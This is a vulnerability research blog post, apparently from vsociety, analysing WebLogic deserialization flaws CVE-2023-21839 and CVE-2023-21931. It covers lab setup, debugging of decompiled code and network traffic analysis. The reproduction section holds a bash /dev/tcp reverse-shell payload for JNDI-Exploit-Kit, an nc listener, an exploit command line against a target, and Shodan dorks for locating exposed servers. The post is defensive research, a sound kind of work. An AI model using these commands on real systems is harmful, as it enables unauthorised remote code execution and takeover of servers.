CVE-2023–21931 & CVE-2023–21839 RCE via post-deserialization

vsociety
12 min readApr 27, 2024

--

Introduction

RCE via post-deserialization was found in Weblogic Server and has been found and registered as CVE-2023–21839 & CVE-2023–21931 both have the same idea.

Oracle WebLogic Server is a Java EE application server currently developed by Oracle Corporation.

The affected versions are 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0.

Weblogic server is a very much common software

Some shodan dorks to search for weblogic server:

- Oracle WebLogic Server

- Weblogic

- Weblogic Application Server

You can also specify the ports.

https://www.shodan.io/search?query=Weblogic

Based on Greynoise, there are no attempts of exploiting this vulnerability

https://viz.greynoise.io/tag/oracle-weblogic-cve-2023-21839-rce-attempt?days=3

Background Story

This time I fall for the rabbit hole and I didn’t even know!

Weblogic turned out to be more complicated than I thought and what made this more complicated is

1- How to debug it

2- the GIOP protocol that’s used with the exploit

The vulnerability idea is really simple.

When you hunt for such vulnerabilities, especially in Java products, usually you try to find an entry point

a serialization object where you send your payload

The methodology I followed to analyze this CVE is as follows:

- Understand how the exploit interacts with Weblogic

- Follow the requests and understand the functions that getting triggered

- Specify the related functions to the vulnerability (We don’t want the network functions such as T3 and GIOP)

- Understand those functions and when the exploit really getting triggered — the root cause

After I was basically sinking and trying to figure out how to find the start of the end of this maze, I found this blog by gobysec which they are the team who found this vulnerability explaining more about it and also about IIOP and T3.

Since the whole exploitation is through T3 and IIOP so it’s better to understand. I found this blog and it’s from the same team — gobysec, the blog explained the vulnerability methodology in general but I couldn’t follow up with them because the quality of the pics is really bad.

https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md

With that being said, I continued debugging my own way and followed the network traffic analysis which helped a lot.

Build the lab

I’m using docker on Ubuntu server 20.04

Buckle up this is a long journey to go through

Install docker

- apt update

- apt install docker docker-compose

Install Weblogic Server

First, install the docker of Weblogic server

- make a docker-compose.yml file and paste the following inside it.

This container was created for cve-2020–2883 but we can use it for this vulnerability as well.

- 8453 is the debugging port

- 7001 is the Oracle WebLogic Server Listen Port for Administration Server

version: '2'
services:
weblogic:
image: vulfocus/weblogic-cve_2020_2883:latest
ports:
- "7001:7001"
- "8453:8453"

Now run the command

docker-compose up .

sudo docker exec -it container_id bash

2- Go to setDomainEnv.sh file

vi bin/setDomainEnv.sh

3- Search for debugFlag and add the following:

debugFlag="true"
export debugFlag

4- Exit and restart the container

sudo docker restart container_id

Copy the files from weblogic server

In order to debug the weblogic server we are going to copy the libs from inside the container and import them later inside our IDEA.

1- Enter the container

sudo docker exec -it container_id bash

2- Go to the following path:

/u01/oracle/weblogic/wlserver/server

as you can see here, we have the “lib” folder. here’s where all the libs of Weblogic server

3- Copy the lib folder

sudo docker cp container_id:/u01/oracle/weblogic/wlserver/server/lib .

if you are using sudo, so the copied folder will be with root privs and you gotta change them so use the following

sudo chmod -R 755 lib

Setup the debugger

1- Create a new project

2- Go to the project structure

First, add the SDK

Now go to Libraries and add the lib folder

it should appear like this, after that click OK

It supposes to show up like this. If not, try to remove it and re-add it or relaunch the IDEA

Now let’s just configure the remote-debugger

Change the name and most important the port to 8453

Now click debugging

Decompile all the jar files

As an extra step here, we are going to decompile all the jar files of Weblogic so it will become more of an open-source code and easier to search through it for whatever we need.

1- Copy all the weblogic folder from inside the container

sudo docker cp container_id:/u01/oracle/weblogic .

2- Change the permissions

sudo chmod -R 755 weblogic

3- Use the following tool:

https://github.com/thoqbk/code-collection

you can just follow the instructions there, and just give it the source directory path (the weblogic src path) and the destination path and wait for a while.

Reproduce the vulnerability

Requirements

To reproduce the vulnerability we need the following tools:

1- JNDI-Exploit-Kit

Link: https://github.com/pimps/JNDI-Exploit-Kit

2- CVE-2023–21839 Exploitation script

Link: https://github.com/4ra1n/CVE-2023-21839

3- a listener such as nc

Run the exploitation

1- First start the JNDI-Exploit-Kit

java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -C "bash -i >& /dev/tcp/attacker_ip/1234 0>&1" -J attacker_i:8180 -L attacker_i:1389 -R attacker_i:1099

2- Run the scanner

nc -nvlp 1234

3- Run the exploit

./CVE-2023-21839 -ip target_ip -ldap ldap://192.168.1.103:1389/02snh7

This part ldap://192.168.1.103:1389/02snh7 is copied from here:

Now check the listener again

java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -C "bash -i >& /dev/tcp/192.168.1.107/1234 0>&1" -J 192.168.1.107:8180 -L 192.168.1.107:1389 -R 192.168.1.107:1099

Static Analysis & Debugging

Kick it off — because no one care

First, just to kick it off, let’s add a breakpoint and try the exploitation again

Based on the blog by gobysec, which is the team who found this vulnerability

Check it here: https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md

We have to add breakpoints on the following lines

You can find the class in the path

/lib/wlthint3client.jar!/weblogic/jndi/internal/WLNamingManager.class

Now run the exploit again and you will see how the debugger will pause.

Finding the start of the maze

We can just start from the breakpoints where gobysec pointed. feel free to do that if you like. However, I like to understand the workflow of the software

I started to click “step over” and add breakpoints on where ever the IDE taking me

You can search for those classes and add breakpoints, or just with the step-over.

Breaking the magic

Since this is not an open-source project, I don’t have the same usual flexibility and by stepping over didn’t give me enough understanding, so I started with understanding the exploit, I used the go version and the python version.

Link: https://github.com/4ra1n/CVE-2023-21839

Link: https://github.com/houqe/POC_CVE-2023-21839

I edited a little bit on the go version and added a sleeping function between the requests, so it will be easier to monitor and see as much as I can on the IDE.

Also, keep an eye on JDNI-Exploit to understand which request triggers Weblogic to call back to jndi-exploit

- First part which is the data we entered gets printed.

[*] your-ip: 192.168.1.109
[*] your-port: 7001
[*] your-ldap: ldap://192.168.1.110:1389/uxnnvo

- Now we see the version of Weblogic

[*] weblogic 12

We can see the part of the code here, where the exploit sends specific requests to identify the Weblogic version

We can see the part of the code here, where the exploit sends specific requests to identify the Weblogic version

I launched Wireshark and started scrolling through the traffic

I filtered the traffic using ip.src==target_ip and found the following packet

- The Weblogic version detect request didn’t hit any breakpoint

- The [*] id=2 LocateRequest the request didn't hit any breakpoint as

well, but this initiates communication with the t3 protocol

- The [*] id=3 RebindRequest hit the breakpoint on WLSExecuteRequest.class:98

There is some interesting info here such as “rebind_any”, and some other clues that we can follow on later.

Step-in Inside the following try block in the image, the function checks if the method descriptor indicates a one-way invocation. If it does, resp remains null; otherwise, it retrieves the outbound response using the request.getOutboundResponse() method.

Basically, the function handles the incoming requests

keep following with the ide, the next breakpoint is on the invoke method

public void invoke(RuntimeMethodDescriptor notused, InboundRequest request, OutboundResponse response) throws Exception {
try {
weblogic.iiop.InboundRequest iioprequest = (weblogic.iiop.InboundRequest)request; => 1.
if (!iioprequest.isCollocated() && iioprequest.getEndPoint().isDead()) {
throw new ConnectException("Connection is already shutdown for " + request);
} else {
Integer m = (Integer)objectMethods.get(iioprequest.getMethod()); => 2.
ResponseHandler rh;
if (response == null) { => 3. & 4.
rh = NULL_RESPONSE;
} else {
rh = ((weblogic.iiop.OutboundResponse)response).createResponseHandler(iioprequest);
}
if (m != null) { => 5.
this.invokeObjectMethod(m, iioprequest.getInputStream(), rh);
} else { => 6.
this.delegate._invoke(iioprequest.getMethod(), iioprequest.getInputStream(), rh);
}
if (response != null) { => 7.
response.transferThreadLocalContext(request);
}
}
} catch (ClassCastException var7) { => 8.
throw new NoSuchObjectException("CORBA ties are only supported with IIOP");
}
}

1. It begins by attempting to cast the InboundRequest object to a specific type (`weblogic.iiop.InboundRequest`) to access additional functionality specific to this type of request.

2. It checks if the request is collocated (executed within the same server) and if the endpoint associated with the request is dead (shutdown). If so, it throws a ConnectException indicating that the connection is already shutdown.

3. If the request is valid, it retrieves the method identifier (`Integer`) from a map called objectMethods using the method obtained from the request.

4. It determines the appropriate ResponseHandler to use based on the availability of the OutboundResponse object. If response is null, it uses a predefined NULL_RESPONSE handler. Otherwise, it creates a response handler specific to the type of request.

5. If a method identifier (`m`) is found in the map, it means the method is an object method, and it invokes the method using the invokeObjectMethod method, passing the method identifier, the input stream from the request, and the response handler.

6. If the method identifier is not found in the map, it delegates the invocation to the _invoke method of the delegate object, passing the method name, input stream, and response handler.

7. If a response object is provided, it transfers the thread-local context from the request to the response object.

8. If a ClassCastException occurs during the typecasting of the InboundRequest object, it throws a NoSuchObjectException indicating that CORBA ties are only supported with IIOP (Internet Inter-ORB Protocol).

From there going to doAs method

public Object doAs(AbstractSubject kernelId, PrivilegedExceptionAction action) throws PrivilegedActionException {
if (action == null) { => 1.
throw new SecurityException(SecurityLogger.getNullAction());
} else {
int sizeBeforePush = SubjectManager.getSubjectManager().getSize(); => 2.
SubjectManager.getSubjectManager().pushSubject(kernelId, this); => 3.
Object actionResult = null; => 4.
boolean var11 = false;
try {
var11 = true;
actionResult = action.run();
var11 = false;
} catch (RuntimeException var12) {
throw var12;
} catch (Exception var13) {
throw new PrivilegedActionException(var13);
} finally {
if (var11) {
int sizeBeforePop = SubjectManager.getSubjectManager().getSize();
while(sizeBeforePop-- > sizeBeforePush) {
SubjectManager.getSubjectManager().popSubject(kernelId);
}
}
}
int sizeBeforePop = SubjectManager.getSubjectManager().getSize();
while(sizeBeforePop-- > sizeBeforePush) {
SubjectManager.getSubjectManager().popSubject(kernelId);
}
return actionResult;
}
}

1. It first checks if the action parameter is null. If so, it throws an SecurityException indicating that the action is null.

2. It retrieves the current size of the subject stack from the SubjectManager and assigns it to sizeBeforePush.

3. It pushes the specified subject (`kernelId`) onto the subject stack using the pushSubject method of the SubjectManager.

4. It initializes a variable actionResult to null & It sets a boolean variable var11 to false as a flag for the finally block.

5. It tries to execute the privileged action by calling the run method of the provided PrivilegedExceptionAction object.

1. If a RuntimeException is thrown, it is rethrown as is.

2. If an Exception is thrown, it wraps it in a PrivilegedActionException and throws it.

6. In the finally block, it checks if var11 is true, indicating that an exception occurred during the action execution.

Basically, The doAs method executes a privileged action on behalf of a specific subject. It pushes the subject onto the subject stack, attempts to run the action, and handles any exceptions that occur during execution. Finally, it ensures that the subject is popped from the stack before returning the result of the privileged action.

Once the software hits the actionResult = action.run(); it will go to the invoke method

and from here it will go through multiple loops until it gets back to the run method, and it will continue down to the end of the run method and that will take us to execute method

void execute(Runnable work) {
try {
++this.executeCount;
this.timeStamp = System.currentTimeMillis();
this.startTimeNS = System.nanoTime();
this.underExecution = true;
this.setThreadPriority();
work.run();
} catch (ThreadDeath var9) {
throw var9;
} catch (RequestManager.ShutdownError var10) {
throw var10;
} catch (OutOfMemoryError var11) {
KernelLogger.logExecuteFailed(var11);
SelfTuningWorkManagerImpl.notifyOOME(var11);
} catch (Throwable var12) {
KernelLogger.logExecuteFailed(var12);
} finally {
this.underExecution = false;
this.usage = (int)(System.currentTimeMillis() - this.timeStamp);
this.usageNS = System.nanoTime() - this.startTimeNS;
this.timeStamp = 0L;
this.startTimeNS = 0L;
}
}

from here you can notice that the [*] id=4 RebindRequest got sent and the other requests as well

basically, you will notice that this process is building context and passing variables, and processing the serialization and deserialization.

On [*] id=6 ResolveRequest you can notice that JNDI-Exploit is triggered, and from there our payload will be sent and executed and you can see we got the reverse shell back.

Getting back to the network traffic

We can see here all the requests from the first one id=2 LocateRequest until the last one [*] id=7 ResolveRequest

The TCP Stream 1, basically contains all the interactions of those requests

TCP Stream 2, This is the interaction with JNDI

TCP Stream 3, the reverse shell payload class

TCP Stream 4, This is finally the reverse shell

Mitigation

It’s recommended to update to the latest version

Final thoughts

This wasn’t straightforward at all and it went sideways for a little bit

but I learned a lot about Weblogic, and that will make the next analysis more in-depth and better.

What really interests me the most is the T3 and GIOP protocols

Resources

https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md

https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md

#CVE-2023–21931 #CVE-2023–21839 #weblogic

RCE via post-deserialization was found in Weblogic Server and has been found and registered as CVE-2023–21839 & CVE-2023–21931 both have the same idea. We are going to go through some of the code, reproduce the vulnerability, explain the exploitation and do some network traffic analysis

Tags

  • #vicarius_blog
  • #CVE-2023–21839
  • #CVE-2023–21931
  • #weblogic

--

--

vsociety
vsociety

Written by vsociety

vsociety is a community centered around vulnerability research

No responses yet